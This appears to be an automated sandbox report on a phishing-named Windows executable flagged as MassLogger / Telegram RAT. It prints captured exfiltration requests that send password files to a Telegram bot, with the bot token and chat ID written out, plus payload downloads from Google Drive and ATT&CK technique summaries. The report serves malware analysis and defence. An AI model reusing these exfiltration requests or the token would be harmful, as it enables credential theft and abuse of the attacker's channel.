Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14cdf870ea02Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14f729073a19Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1529483e469fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd15571ad6327bHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1584a2f82aa8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd15b70a124c6dHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd15f5efddc12bHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd16309522eae9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd168945128f1dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd16f8012457e7Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 0011E959h	10_2_0011E6A8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 0011F082h	10_2_0011EC67
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 0011F082h	10_2_0011EFAF
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDAC65h	10_2_36DDA928
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDD180h	10_2_36DDCED8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDA779h	10_2_36DDA4D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDE998h	10_2_36DDE6F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDCD28h	10_2_36DDCA80
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDFAF8h	10_2_36DDF850
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDA321h	10_2_36DDA078
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDC8D0h	10_2_36DDC628
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DD9EC9h	10_2_36DD9C20
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDC478h	10_2_36DDC1D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DD9A71h	10_2_36DD97C8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDF6A0h	10_2_36DDF3F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDF248h	10_2_36DDEFA0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDEDF0h	10_2_36DDEB48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDC020h	10_2_36DDBD78
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DD9619h	10_2_36DD9370
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DDD5D8h	10_2_36DDD330
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF630Dh	10_2_36DF6130
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF6C97h	10_2_36DF6130
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then push 00000000h	10_2_36DF98D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36DFA6C7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF49A0h	10_2_36DF46F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36DF563F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF0740h	10_2_36DF0498
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF18A0h	10_2_36DF15F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF3840h	10_2_36DF3598
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF4548h	10_2_36DF42A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF25AAh	10_2_36DF2300
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF02E8h	10_2_36DF0040
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF1448h	10_2_36DF11A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF33E8h	10_2_36DF3140
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF2150h	10_2_36DF1EA8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF40F0h	10_2_36DF3E48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF5250h	10_2_36DF4FA8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF2F90h	10_2_36DF2CE8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF0FF0h	10_2_36DF0D48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF1CF8h	10_2_36DF1A50
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF4DF8h	10_2_36DF4B50
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF0B98h	10_2_36DF08F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF2B38h	10_2_36DF2890
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then jmp 36DF3C98h	10_2_36DF39F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 4x nop then push 00000000h	10_2_37E5E600

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49802 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49838 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49850 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49780 -> 172.217.19.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report REQUEST FOR QUOATION AND PRICES.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nso8123.tmp

C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Coindwelling.Lys

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Emalje.kap

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Nidstirrer.Pre

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\img2.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\pinrail.whe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\unyouthfully.ske

Static File Info

General

File Icon

Windows Analysis Report
REQUEST FOR QUOATION AND PRICES.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

